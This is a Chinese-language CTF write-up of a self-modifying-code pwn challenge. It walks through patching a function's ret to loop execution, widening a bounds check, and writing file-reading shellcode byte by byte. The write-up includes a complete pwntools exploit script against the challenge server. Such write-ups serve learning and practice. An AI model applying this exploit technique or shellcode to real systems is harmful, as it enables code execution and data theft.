第一次接触 mprotect() 改页保护、再逐字节改自身代码的题目。本文记录用「自修改代码 + 单字节写循环」打通的完整思路。
题目分析
题目给出了 chall.c 源文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #include <stdio.h> #include <stdlib.h> #include <sys/mman.h>
#define MAIN ((char *)main) #define CHALL ((char *)chall) #define LEN (MAIN - CHALL)
int main(void);
void chall(void) { char c = getchar(); unsigned char i = getchar(); if (i < LEN) { CHALL[i] = c; } }
int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);
mprotect((char *)((long)CHALL & ~0xfff), 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
chall(); return 0; }
|
chall() 函数:
- 从标准输入读取 2 个字节:
c(要写入的值)和 i(写入的位置/偏移)
- 检查
i < LEN,如果满足,就把 c 写入到 CHALL[i]
CHALL 是 chall 函数自身的起始地址,所以这等于修改自己的代码
main() 函数:
- 关闭了 stdin/stdout/stderr 的缓冲
- 调用
mprotect 把 chall 函数所在的内存页设为 可读、可写、可执行(RWX)
- 调用
chall()
- 返回 0
关键宏:
LEN = MAIN - CHALL,即 main 函数和 chall 函数之间的距离
- 这个值用于限制我们只能修改
chall 函数范围内的字节
核心约束
| 约束 |
说明 |
| 只能修改 1 个字节 |
程序只调用一次 getchar() 读 c,一次读 i |
| 偏移限制 |
i 必须小于 LEN(即只能修改 chall 函数内部的字节) |
| 程序只运行一次 |
chall() 返回后,main 返回,程序退出 |
目标:通过这唯一一次修改,让程序读取 /app/flag.txt 的内容并输出。
反编译
chall 函数
用 objdump -d -M intel chall 查看反汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 0000000000401146 <chall>: 401146: 55 push rbp 401147: 48 89 e5 mov rbp,rsp 40114a: 48 83 ec 10 sub rsp,0x10 40114e: e8 ed fe ff ff call 401040 <getchar@plt> ; c = getchar() 401153: 88 45 ff mov BYTE PTR [rbp-0x1],al ; 存储 c 401156: e8 e5 fe ff ff call 401040 <getchar@plt> ; i = getchar() 40115b: 88 45 fe mov BYTE PTR [rbp-0x2],al ; 存储 i 40115e: 0f b6 55 fe movzx edx,BYTE PTR [rbp-0x2] ; edx = i 401162: 48 8d 05 26 00 00 00 lea rax,[rip+0x26] ; rax = &main 401169: 48 8d 0d d6 ff ff ff lea rcx,[rip-0x2a] ; rcx = &chall 401170: 48 29 c8 sub rax,rcx ; rax = LEN = 0x49 = 73 401173: 48 39 c2 cmp rdx,rax ; 比较 i 和 LEN 401176: 7d 14 jge 40118c ; if i >= LEN, 跳过写入 401178: 0f b6 45 fe movzx eax,BYTE PTR [rbp-0x2] ; eax = i 40117c: 48 8d 15 c3 ff ff ff lea rdx,[rip-0x3d] ; rdx = &chall 401183: 48 01 c2 add rdx,rax ; rdx = &chall + i 401186: 0f b6 45 ff movzx eax,BYTE PTR [rbp-0x1] ; eax = c 40118a: 88 02 mov BYTE PTR [rdx],al ; chall[i] = c ★ 40118c: 90 nop 40118d: c9 leave 40118e: c3 ret
|
main 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 000000000040118f <main>: 40118f: 55 push rbp 401190: 48 89 e5 mov rbp,rsp 401193: ... ; setbuf(stdin, NULL) 4011a2: ... ; setbuf(stdout, NULL) 4011b6: ... ; setbuf(stderr, NULL) 4011cf: 48 8d 05 70 ff ff ff lea rax,[rip-0x90] ; rax = &chall 4011d6: 48 25 00 f0 ff ff and rax,0xfffffffffffff000 ; 页对齐 4011dc: ba 07 00 00 00 mov edx,0x7 ; RWX 4011e1: be 00 10 00 00 mov esi,0x1000 ; 4096 字节 4011e6: 48 89 c7 mov rdi,rax 4011e9: e8 62 fe ff ff call 401050 <mprotect@plt> ; mprotect 4011ee: e8 53 ff ff ff call 401146 <chall> ; 调用 chall ★ 4011f3: b8 00 00 00 00 mov eax,0x0 ; 返回值 0 4011f8: 5d pop rbp 4011f9: c3 ret
|
关键地址和偏移
为了方便后面讨论,我们把所有地址都转换成相对于 chall 函数开头的偏移:
| 偏移 |
地址 |
机器码 |
指令 |
说明 |
| 0x00 |
0x401146 |
55 |
push rbp |
|
| 0x01 |
0x401147 |
48 89 e5 |
mov rbp,rsp |
|
| 0x08 |
0x40114e |
e8 ed fe ff ff |
call getchar |
读取 c |
| 0x0d |
0x401153 |
88 45 ff |
mov [rbp-1],al |
|
| 0x10 |
0x401156 |
e8 e5 fe ff ff |
call getchar |
读取 i |
| 0x1f |
0x401162 |
26 |
lea rip+0x26 中的 0x26 |
LEN 计算的关键字节 |
| 0x30 |
0x401176 |
7d 14 |
jge +0x14 |
边界检查跳转 |
| 0x44 |
0x40118a |
88 02 |
mov [rdx],al |
实际的写入操作 |
| 0x46 |
0x40118c |
90 |
nop |
|
| 0x47 |
0x40118d |
c9 |
leave |
恢复栈帧 |
| 0x48 |
0x40118e |
c3 |
ret |
函数返回 |
| 0x49 |
0x40118f |
55 |
push rbp |
main 函数开头 |
LEN 的值:main - chall = 0x40118f - 0x401146 = 0x49 = 73
所以 i 只能是 0~72,我们只能修改 chall 函数内部的 73 个字节。
解题思路
核心困境
只修改一个字节,程序就退出了——这怎么可能读取 flag 呢?
我们需要解决两个问题:
- 如何进行多次修改:一次修改不够,我们需要写入一段 shellcode
- 如何绕过偏移限制:shellcode 需要写在 main 函数区域,但
i < LEN 不允许
关键发现:让程序循环执行
观察 chall 函数的末尾:
1 2
| 40118d: c9 leave ; 恢复栈帧 (mov rsp,rbp; pop rbp) 40118e: c3 ret ; 返回到 main
|
再看看紧跟在 chall 后面的是什么?main 函数的开头:
1
| 40118f: 55 push rbp ; main 函数的第一条指令
|
如果我把 ret(0xc3)改成 nop(0x90),会发生什么?
1 2 3 4
| 40118d: c9 leave ; 恢复栈帧 40118e: 90 nop ; 什么都不做(原来是 ret) 40118f: 55 push rbp ; main 函数开头! ...
|
执行流会从 chall 的末尾直接落入 main 的开头!这意味着:
leave 恢复了栈帧
nop 什么都不做
- 程序继续执行 main 的代码:
setbuf → mprotect → call chall → 又回到 chall
- chall 又等待新的输入…
我们建立了一个无限循环! 每次循环,我们都可以发送 2 个字节来修改一个字节。
扩大写入范围
有了循环,我们还需要解决偏移限制。i 必须小于 LEN(73),但我们想写入 main 函数区域(偏移 >= 0x49)。
看这条指令:
1
| 401162: 48 8d 05 26 00 00 00 lea rax,[rip+0x26] ; rax = &main
|
这个 0x26 是计算 LEN 时的偏移量。如果把它改成 0xff:
- 原来:
rax = rip + 0x26 → rax = 0x401169 + 0x26 = 0x40118f(main 的地址)
- 改后:
rax = rip + 0xff → rax = 0x401169 + 0xff = 0x401268
LEN 的计算:rax - rcx = 0x401268 - 0x401146 = 0x122 = 290
偏移 0x1f 就是 0x26 这个字节在 chall 函数中的位置。我们只需要发送 c=0xff, i=0x1f 就能把 LEN 从 73 改成 290,从而允许写入 main 区域。
写入 shellcode
现在我们可以在偏移 0~289 的范围内任意修改了。我们选择在偏移 0xad(地址 0x4011f3)开始写入 shellcode。
为什么选 0xad?因为这是 main 函数中 call chall 之后的下一条指令的位置。当 chall 函数正常 ret 时,会返回到这个地址。
我们的 shellcode 做四件事:
- open(“/app/flag.txt”, O_RDONLY) — 打开 flag 文件
- read(fd, buf, 128) — 读取文件内容
- write(1, buf, count) — 输出到 stdout
- exit(0) — 干净退出
触发 shellcode
所有 shellcode 写入完成后,我们需要把之前改成 nop 的 ret 恢复回来:
- 发送
c=0xc3, i=0x48:把偏移 0x48 从 nop(0x90)恢复为 ret(0xc3)
此时程序执行流程:
- chall 函数执行
leave; ret
ret 返回到 main 中 call chall 的下一条指令:0x4011f3
- 但
0x4011f3 已经被我们的 shellcode 覆盖了
- shellcode 执行,读取并输出 flag!
完整 Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import *
context.arch = 'amd64' context.log_level = 'info'
def solve(host='transmutation.opus4-7.b01le.rs', port=8443): p = remote(host, port, ssl=True) sleep(0.2)
print("[*] Step 1: ret -> nop") p.send(bytes([0x90, 0x48])) sleep(0.05)
print("[*] Step 2: Increase LEN") p.send(bytes([0xff, 0x1f])) sleep(0.05)
shellcode = asm(''' /* open("/app/flag.txt", O_RDONLY) */ lea rdi, [rip+flag] ; rdi = 指向文件路径 xor esi, esi ; esi = 0 (O_RDONLY) push 2 pop rax ; rax = 2 (sys_open) syscall ; open("/app/flag.txt", 0)
/* read(fd, buf, 128) */ mov edi, eax ; edi = fd (open 返回的文件描述符) lea rsi, [rsp-0x80] ; rsi = 栈上的缓冲区 mov edx, 0x80 ; edx = 128 (读取字节数) xor eax, eax ; rax = 0 (sys_read) syscall ; read(fd, buf, 128)
/* write(1, buf, count) */ mov edx, eax ; edx = 实际读取的字节数 push 1 pop rdi ; rdi = 1 (stdout) lea rsi, [rsp-0x80] ; rsi = 缓冲区 push 1 pop rax ; rax = 1 (sys_write) syscall ; write(1, buf, count)
/* exit(0) */ xor edi, edi ; edi = 0 (退出码) push 60 pop rax ; rax = 60 (sys_exit) syscall ; exit(0)
flag: .ascii "/app/flag.txt" .byte 0 ''')
sc_offset = 0xAD print(f"[*] Step 3: Writing {len(shellcode)} bytes of shellcode")
for i, b in enumerate(shellcode): p.send(bytes([b, sc_offset + i])) sleep(0.02)
print("[*] Step 4: Restore ret -> trigger shellcode") p.send(bytes([0xc3, 0x48]))
sleep(0.5) output = p.recvall(timeout=5) print(f"\n[+] Flag: {output.decode(errors='replace').strip()}")
p.close()
if __name__ == '__main__': solve()
|
执行流程图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| 原始执行流程: main() → mprotect(RWX) → call chall() → getchar()×2 → 写1字节 → ret → main返回 → 退出 只能改1个字节就结束了... ────────────────→ 💀
攻击后执行流程:
┌─────────────────────────────────────────────────────────┐ │ Step 1: 修改 ret → nop │ │ │ │ main() → mprotect → call chall() → getchar()×2 │ │ → 写入 nop 到 ret 位置 │ │ → leave; nop (不返回!) │ │ → 落入 main 开头 ←─────────────────────┐ │ │ │ │ │ Step 2: 扩大 LEN │ │ │ → 继续循环 ─────────────────────────────┘ │ │ │ │ Step 3: 写入 shellcode (66次循环,每次写1字节) │ │ → 继续循环 │ │ │ │ Step 4: 恢复 ret │ │ → leave; ret → 返回到 0x4011f3 │ │ → 0x4011f3 已是 shellcode! │ │ → open → read → write → 🚩 FLAG! │ └─────────────────────────────────────────────────────────┘
|
关键知识点总结
自修改代码(Self-Modifying Code)
这道题的核心机制是程序在运行时修改自身的机器码。这需要:
- 内存页具有写权限(
mprotect 设置 RWX)
- 修改的是即将执行或后续会执行的代码
控制流劫持
我们将 ret 改为 nop,本质上是劫持了程序的控制流:
- 原本:
ret → 返回到 main 中的正常流程 → 程序退出
- 改后:
nop → 落入 main 开头 → 无限循环 → 为我们争取到多次修改的机会
leave 指令
leave 等价于:
1 2
| mov rsp, rbp ; 恢复栈指针 pop rbp ; 恢复旧的 rbp
|
理解 leave 的行为对于分析”为什么 nop 后能落入 main”至关重要:leave 已经把 rsp 恢复到了函数调用前的状态,所以即使没有 ret 来弹出返回地址,程序也不会崩溃,而是继续往下执行到 main 的代码。
shellcode 编写
我们使用的 shellcode 是经典的 open → read → write 组合:
| 系统调用 |
rax |
rdi |
rsi |
rdx |
| open |
2 |
文件路径 |
标志(0) |
- |
| read |
0 |
fd |
缓冲区 |
长度 |
| write |
1 |
1(stdout) |
缓冲区 |
长度 |
| exit |
60 |
退出码 |
- |
- |
为了避免 shellcode 中出现 \x00 字节(可能导致输入被截断),我们使用了 push/pop 代替 mov rax, imm,用 xor 清零寄存器。
Flag
1
| bctf{CPU_0pt1m1z3r5_H4T3_th15_0n3_51mp13_tr1ck_5519225335}
|
解码 flag 中的 leet speak:CPU Optimizers HATE this one simple trick(CPU 优化器讨厌这个简单技巧)。